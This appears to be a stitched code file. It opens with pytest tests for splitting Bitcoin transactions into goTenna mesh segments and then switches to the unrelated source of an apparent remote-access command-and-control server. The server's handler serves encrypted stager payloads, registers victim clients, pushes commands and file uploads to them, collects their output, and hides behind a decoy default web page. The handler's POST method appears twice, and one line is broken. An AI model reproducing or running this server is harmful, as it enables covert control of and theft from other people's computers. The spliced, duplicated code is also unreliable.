def test_from_segments_hash_mismatch(self, hex_gotenna_segments): payload_segment_0 = TxSegment("1000", "010000000104f98a8dcd4ebc881603fe81e85b46f2e55dce862bf6a8489f46be56956997fb010000006b4830450221008b5d", tx_hash="450f6de5d2b86c4f1618c6dfe06e86541094f39b6db4e11b9869aece24a89883", sequence_num=0, segment_count=3) bad_hash_segments = hex_gotenna_segments[1:] bad_hash_segments.insert(0, payload_segment_0) with pytest.raises(ValueError) as err: PayloadFactory.from_segments(bad_hash_segments) assert err.value.args[0] == "Transaction payload does not validate against transaction hash"
def test_to_segments_gotenna_z85(self, z85_gotenna_segments, raw_hex_transaction): segments = PayloadFactory.to_segments(bytes.fromhex(raw_hex_transaction), "30", is_gotenna=True, use_z85=True, is_testnet=True) assert len(segments) == 2 assert segments[0].serialize_to_json() == z85_gotenna_segments[0].serialize_to_json() assert segments[1].serialize_to_json() == z85_gotenna_segments[1].serialize_to_json()
def test_to_segments_gotenna_hex(self, hex_gotenna_segments, raw_hex_transaction): segments = PayloadFactory.to_segments(bytes.fromhex(raw_hex_transaction), "1000", is_gotenna=True, use_z85=False, is_testnet=False) assert len(segments) == 3 assert segments[0].serialize_to_json() == hex_gotenna_segments[0].serialize_to_json() assert segments[1].serialize_to_json() == hex_gotenna_segments[1].serialize_to_json() assert segments[2].serialize_to_json() == hex_gotenna_segments[2].serialize_to_json()
def test_from_segments_missing_segments_from_bad_sequence(self, hex_gotenna_segments): incomplete_segments = hex_gotenna_segments[-2:] with pytest.raises(IncompletePayloadSegmentsError) as err: PayloadFactory.from_segments(incomplete_segments) assert err.value.args[0] == "Missing segment at index 0" assert err.value.missing_index == 0
def test_from_segments_missing_segments_from_length_inspection(self, hex_gotenna_segments): incompete_segments = hex_gotenna_segments[0:1] with pytest.raises(IncompletePayloadSegmentsError) as err: PayloadFactory.from_segments(incompete_segments) assert err.value.args[0] == "Segments length does not match anticipated count in head at index 0" assert err.value.missing_index == 0
def test_from_segments_hex_gotenna_segments(self, hex_gotenna_segments): raw_tx = PayloadFactory.from_segments(hex_gotenna_segments) assert raw_tx == bytes.fromhex("010000000104f98a8dcd4ebc881603fe81e85b46f2e55dce862bf6a8489f46be56956997fb010000006b4830450221008b5d109df78db7e9be30ddf59cf6b37826f495c35ec800f531f394db2ef036d8022021c0a0db1bae17a406f7f10017bfdc9c816febb60b8e5e3697ef3c7d57c87156012102c31ca8111f8adaf3cff9facd1ca30fba8e0acebebc7b51ad484ca615eaef6da1feffffff0240420f00000000001976a914e5bbd998864b9cf9ae76e5c0c779d9cc06e5457088ac8fa5a200000000001976a91441e85563ae76eccb3f2955906523b63c6394209a88ac00000000")
def test_to_json(self, raw_hex_transaction, z85_gotenna_segments): json_segments = PayloadFactory.to_json(bytes.fromhex(raw_hex_transaction), "30", is_gotenna=True, use_z85=True, is_testnet=True) expected_json_segments = [segment.serialize_to_json() for segment in z85_gotenna_segments] assert json_segments[0] == expected_json_segments[0] assert json_segments[1] == expected_json_segments[1]
def test_to_segments_single_segment(self): segments = PayloadFactory.to_segments(b'The Times 03 Jan 2009 Chancellor on Brink of Second Bailout for Banks.', "30", is_gotenna=True, use_z85=True, is_testnet=True) assert len(segments) == 1 assert segments[0].tx_data == 'ra]?=rb3hXB09d)awc6WatLS8iuQX5vqYN^y&13gaA8culul^TyANLcax8&Yz/f8dlsBOAz/{dAw]zYjlsB+EB1N'
def test_from_json(self, z85_gotenna_segments, raw_hex_transaction): tx = PayloadFactory.from_json([segment.serialize_to_json() for segment in z85_gotenna_segments]) assert tx == bytes.fromhex(raw_hex_transaction)
def do_POST(self): """Handles POST requests.""" data = str( self.rfile.read(int(self.headers.getheader("Content-Length")))) if self.path == "/api/stager": # Send back a unique encrypted payload. client_key = data.split("&")[0].split("=")[1] payload_options = json.loads( base64.b64decode( unquote_plus(data).split("&")[1].replace( "Cookie=session=", "", 1))) loader_options = payload_options["loader_options"] self._output_view.add(self._output_view.SEPARATOR) self._output_view.add( "[%s] Creating payload using key: %s" % (payload_options["loader_name"], client_key)), "info" if not self._payload_factory: self._payload_factory = PayloadFactory(self._loader_factory) self.wfile.write( self._payload_factory.create_payload(payload_options, loader_options, client_key)) elif self.path == "/api/get_command": # Command requests username = data.split("&")[0].replace("username="******"", 1) hostname = data.split("&")[1].replace("hostname=", "", 1) loader_name = data.split("&")[2].replace("loader=", "", 1) client_id = data.split("&")[3].replace("client_id=", "", 1) path = unquote_plus(data.split("&")[4].replace("path=", "", 1)) remote_ip = unquote_plus( data.split("&")[5].replace("remote_ip=", "", 1)) client = self._model.get_client(client_id) if not client: # This is the first time this client has connected. self._output_view.add(self._output_view.SEPARATOR) self._output_view.add( "New client \"%s@%s\" connected!" % (username, hostname), "info") self._model.add_client( Client(client_id, username, hostname, remote_ip, path, time.time(), loader_name)) self.send_headers() self.wfile.write("You dun goofed.") else: # Update the client's session (path and last_online). self._model.update_client(client_id, path, time.time()) # Send any pending commands to the client. command = self._model.get_command(client_id) if command: self._model.remove_command(command.id) # Special modules which need the server to do extra stuff. if command.module_name in [ "update_client", "remove_client" ]: self._model.remove_client(client_id) self.send_headers() self.wfile.write(str(command)) elif command.module_name == "upload": file_path = base64.b64decode( command.command).split(":")[0].replace("\n", "") file_name = os.path.basename(file_path) self._output_view.add("Sending file to client...", "info") with open(file_path, "rb") as input_file: file_size = os.fstat(input_file.fileno()) self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header( "Content-Disposition", "attachment; filename=\"%s\"" % file_name) self.send_header("Content-Length", str(file_size.st_size)) self.send_header("X-Upload-Module", command.command) self.end_headers() shutil.copyfileobj(input_file, self.wfile) else: self.send_headers() self.wfile.write(str(command)) else: # Client has no pending commands. self.send_headers() self.wfile.write("") elif self.path == "/api/response": # Command responses json_response = json.loads( base64.b64decode(unquote_plus(data.replace("output=", "", 1)))) response = base64.b64decode(json_response["response"]) module_name = json_response["module_name"] self.send_headers() if module_name: # Send the response back to the module for name, module_imp in self._module_factory.get_modules( ).iteritems(): if name == module_name: try: module_imp.process_response( self._output_view, response) break except AttributeError: # The module doesn't have a process_response method, that's fine. self.output_response(response) else: # Command response self.output_response(response)
class ClientController(BaseHTTPRequestHandler): """This class handles HTTPS requests and responses.""" _model = None _output_view = None _module_factory = None _loader_factory = None _payload_factory = None def send_headers(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() def do_POST(self): """Handles POST requests.""" data = str( self.rfile.read(int(self.headers.getheader("Content-Length")))) if self.path == "/api/stager": # Send back a unique encrypted payload. client_key = data.split("&")[0].split("=")[1] payload_options = json.loads( base64.b64decode( unquote_plus(data).split("&")[1].replace( "Cookie=session=", "", 1))) loader_options = payload_options["loader_options"] self._output_view.add(self._output_view.SEPARATOR) self._output_view.add( "[%s] Creating payload using key: %s" % (payload_options["loader_name"], client_key)), "info" if not self._payload_factory: self._payload_factory = PayloadFactory(self._loader_factory) self.wfile.write( self._payload_factory.create_payload(payload_options, loader_options, client_key)) elif self.path == "/api/get_command": # Command requests username = data.split("&")[0].replace("username="******"", 1) hostname = data.split("&")[1].replace("hostname=", "", 1) loader_name = data.split("&")[2].replace("loader=", "", 1) client_id = data.split("&")[3].replace("client_id=", "", 1) path = unquote_plus(data.split("&")[4].replace("path=", "", 1)) remote_ip = unquote_plus( data.split("&")[5].replace("remote_ip=", "", 1)) client = self._model.get_client(client_id) if not client: # This is the first time this client has connected. self._output_view.add(self._output_view.SEPARATOR) self._output_view.add( "New client \"%s@%s\" connected!" % (username, hostname), "info") self._model.add_client( Client(client_id, username, hostname, remote_ip, path, time.time(), loader_name)) self.send_headers() self.wfile.write("You dun goofed.") else: # Update the client's session (path and last_online). self._model.update_client(client_id, path, time.time()) # Send any pending commands to the client. command = self._model.get_command(client_id) if command: self._model.remove_command(command.id) # Special modules which need the server to do extra stuff. if command.module_name in [ "update_client", "remove_client" ]: self._model.remove_client(client_id) self.send_headers() self.wfile.write(str(command)) elif command.module_name == "upload": file_path = base64.b64decode( command.command).split(":")[0].replace("\n", "") file_name = os.path.basename(file_path) self._output_view.add("Sending file to client...", "info") with open(file_path, "rb") as input_file: file_size = os.fstat(input_file.fileno()) self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header( "Content-Disposition", "attachment; filename=\"%s\"" % file_name) self.send_header("Content-Length", str(file_size.st_size)) self.send_header("X-Upload-Module", command.command) self.end_headers() shutil.copyfileobj(input_file, self.wfile) else: self.send_headers() self.wfile.write(str(command)) else: # Client has no pending commands. self.send_headers() self.wfile.write("") elif self.path == "/api/response": # Command responses json_response = json.loads( base64.b64decode(unquote_plus(data.replace("output=", "", 1)))) response = base64.b64decode(json_response["response"]) module_name = json_response["module_name"] self.send_headers() if module_name: # Send the response back to the module for name, module_imp in self._module_factory.get_modules( ).iteritems(): if name == module_name: try: module_imp.process_response( self._output_view, response) break except AttributeError: # The module doesn't have a process_response method, that's fine. self.output_response(response) else: # Command response self.output_response(response) def output_response(self, response): """Sends the response to the output view.""" self._output_view.add(self._output_view.SEPARATOR) if "\n" in response: for line in response.split("\n"): if line.startswith(MESSAGE_INFO): self._output_view.add(line.replace(MESSAGE_INFO, ""), "info") elif line.startswith(MESSAGE_ATTENTION): self._output_view.add(line.replace(MESSAGE_ATTENTION, ""), "attention") else: self._output_view.add(line) else: self._output_view.add(response) def do_GET(self): self.send_headers() if self.path == "/api/get_ca": # Send back our certificate authority. with open("server.cert") as input_file: self.wfile.write( base64.b64encode("".join(input_file.readlines()))) else: # Show a standard looking page. page = """\ <html><body><h1>It works!</h1> <p>This is the default web page for this server.</p> <p>The web server software is running but no content has been added, yet.</p> </body></html> """ self.wfile.write(page) def handle(self): try: BaseHTTPRequestHandler.handle(self) except SSLError as ex: if "alert unknown ca" in str(ex): # See https://support.mozilla.org/en-US/kb/troubleshoot-SEC_ERROR_UNKNOWN_ISSUER self._output_view.add( "Showing \"Your connection is not secure\" message to user.", "attention") else: self._output_view.add("Error: " + str(ex), "attention") def log_message(self, format, *args): return # Don't log random stuff we don't care about, thanks.